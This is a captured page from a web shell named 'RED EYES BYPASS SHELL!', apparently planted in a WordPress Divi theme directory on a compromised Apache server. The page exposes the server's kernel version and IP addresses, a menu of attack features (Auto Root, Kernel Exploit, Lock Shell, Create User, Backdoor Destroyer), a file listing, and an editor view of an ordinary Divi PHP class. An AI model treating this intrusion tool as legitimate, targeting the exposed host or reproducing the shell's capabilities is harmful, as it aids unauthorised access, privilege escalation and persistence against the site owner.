Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
themes /
Divi /
includes /
builder /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
api
[ DIR ]
drwxr-xr-x
compat
[ DIR ]
drwxr-xr-x
feature
[ DIR ]
drwxr-xr-x
frontend-builder
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
plugin-compat
[ DIR ]
drwxr-xr-x
post
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
_et_builder_version.php
109
B
-rwxr-xr-x
ab-testing.php
54.06
KB
-rwxr-xr-x
autoload.php
13.22
KB
-rwxr-xr-x
class-et-builder-dynamic-assets-feature.php
607
B
-rwxr-xr-x
class-et-builder-element.php
891.72
KB
-rwxr-xr-x
class-et-builder-global-feature-base.php
4.24
KB
-rwxr-xr-x
class-et-builder-google-fonts-feature.php
6.44
KB
-rwxr-xr-x
class-et-builder-module-features.php
2.17
KB
-rwxr-xr-x
class-et-builder-module-shortcode-manager.php
20.94
KB
-rwxr-xr-x
class-et-builder-module-use-detection.php
4.55
KB
-rwxr-xr-x
class-et-builder-plugin-compat-base.php
838
B
-rwxr-xr-x
class-et-builder-plugin-compat-loader.php
1.61
KB
-rwxr-xr-x
class-et-builder-post-feature-base.php
7.48
KB
-rwxr-xr-x
class-et-builder-settings.php
54.03
KB
-rwxr-xr-x
class-et-builder-theme-compat-base.php
646
B
-rwxr-xr-x
class-et-builder-theme-compat-handler.php
1.3
KB
-rwxr-xr-x
class-et-builder-value.php
1.93
KB
-rwxr-xr-x
class-et-global-settings.php
43.13
KB
-rwxr-xr-x
comments_template.php
4.12
KB
-rwxr-xr-x
conditions.php
6.02
KB
-rwxr-xr-x
core.php
241.93
KB
-rwxr-xr-x
deprecations.php
2.22
KB
-rwxr-xr-x
framework.php
47.14
KB
-rwxr-xr-x
functions.php
501.71
KB
-rwxr-xr-x
main-structure-elements.php
179.83
KB
-rwxr-xr-x
template-preview.php
3.16
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-et-builder-module-use-detection.php
<?php /** * Module Use Detection class. * * @package Divi * @subpackage Builder * @since 4.10.0 */ /** * Handles Module Use Detection. * * @since 4.10.0 */ class ET_Builder_Module_Use_Detection { /** * Module Slugs Used. * * @access protected * @var array */ protected $_modules_used = []; /** * Module Attrs Used. * * @access protected * @var array */ protected $_module_attrs_used = []; /** * Module Attr Values Used. * * @access protected * @var array */ protected $_module_attr_values_used = []; /** * Valid Shortcode Slugs. * * @access protected * @var array */ protected $_valid_slugs = []; /** * `ET_Builder_Module_Use_Detection` instance. * * @var ET_Builder_Module_Use_Detection */ private static $_instance; /** * Construct instance. */ public function __construct() { add_filter( 'pre_do_shortcode_tag', [ $this, 'log_slug_used' ], 99, 3 ); add_action( 'wp_footer', [ $this, 'footer' ], 1000 ); add_action( 'et_builder_ready', array( $this, '_setup_valid_slugs' ), 100 ); } /** * Get instance. */ public static function instance() { if ( ! self::$_instance ) { self::$_instance = new static(); } return self::$_instance; } /** * Get valid slugs. */ public function _setup_valid_slugs() { $this->_valid_slugs = ET_Builder_Element::get_all_module_slugs(); } /** * Log the Shortcode Tag/Slug. * * @since 4.10.0 * @access public * @param mixed $override Whether to override do_shortcode return value or not. * @param string $tag Shortcode tag. * @param array $attrs Shortcode attrs. * @return mixed */ public function log_slug_used( $override, $tag, $attrs ) { $interested_attrs_and_values = apply_filters( 'et_builder_module_attrs_values_used', [ 'gutter_width', 'animation_style', 'sticky_position', 'specialty', 'use_custom_gutter', 'font_icon', 'button_icon', 'hover_icon', 'scroll_down_icon', 'social_network', 'show_in_lightbox', 'fullwidth', 'scroll_vertical_motion_enable', 'scroll_horizontal_motion_enable', 'scroll_fade_enable', 'scroll_scaling_enable', 'scroll_rotating_enable', 'scroll_blur_enable', 'show_content', ] ); /** * The "gallery" shortcode is not part of the Divi modules but is used for enqueuing MagnificPopup * when Divi Gallery is enabled under Theme Options > Enable Divi Gallery, so we need to include * it in late detection for edge cases such as shortcodes hardcoded into child themes. */ $additional_valid_slugs = apply_filters( 'et_builder_valid_module_slugs', [ 'gallery', ] ); $valid_slugs = array_unique( array_merge( $this->_valid_slugs, $additional_valid_slugs ) ); // Log the shortcode tags used. if ( in_array( $tag, $valid_slugs, true ) ) { $this->_modules_used[] = $tag; $this->_modules_used = array_unique( $this->_modules_used ); if ( ! is_null( $attrs ) && ! is_array( $attrs ) ) { $attrs = (array) $attrs; } $found_interested_attr_and_values = array_intersect( array_keys( $attrs ), $interested_attrs_and_values ); foreach ( $found_interested_attr_and_values as $key => $attr_name ) { if ( empty( $this->_module_attr_values_used[ $attr_name ] ) ) { $this->_module_attr_values_used[ $attr_name ] = []; } $this->_module_attr_values_used[ $attr_name ][] = $attrs[ $attr_name ]; $this->_module_attr_values_used[ $attr_name ] = array_unique( $this->_module_attr_values_used[ $attr_name ] ); } } return $override; } /** * Add footer actions. */ public function footer() { /** * Fires after wp_footer hook and contains unique array of * slugs of the modules that were used on the page load. * * @param array $_used_modules Module slugs used on the page load. * * @since 4.10.0 */ do_action( 'et_builder_modules_used', $this->_modules_used ); } /** * Get modules used. * * @return array List of module slugs used. * @since 4.10.0 * @access public */ public function get_modules_used() { return $this->_modules_used; } /** * Get module attrs used. * * @return array List of interested module attrs used. * @since 4.10.0 * @access public */ public function get_module_attrs_used() { return $this->_module_attrs_used; } /** * Get module attr values used. * * @return array List of interested module attrs and values used. * @since 4.10.0 * @access public */ public function get_module_attr_values_used() { return $this->_module_attr_values_used; } } ET_Builder_Module_Use_Detection::instance();
Close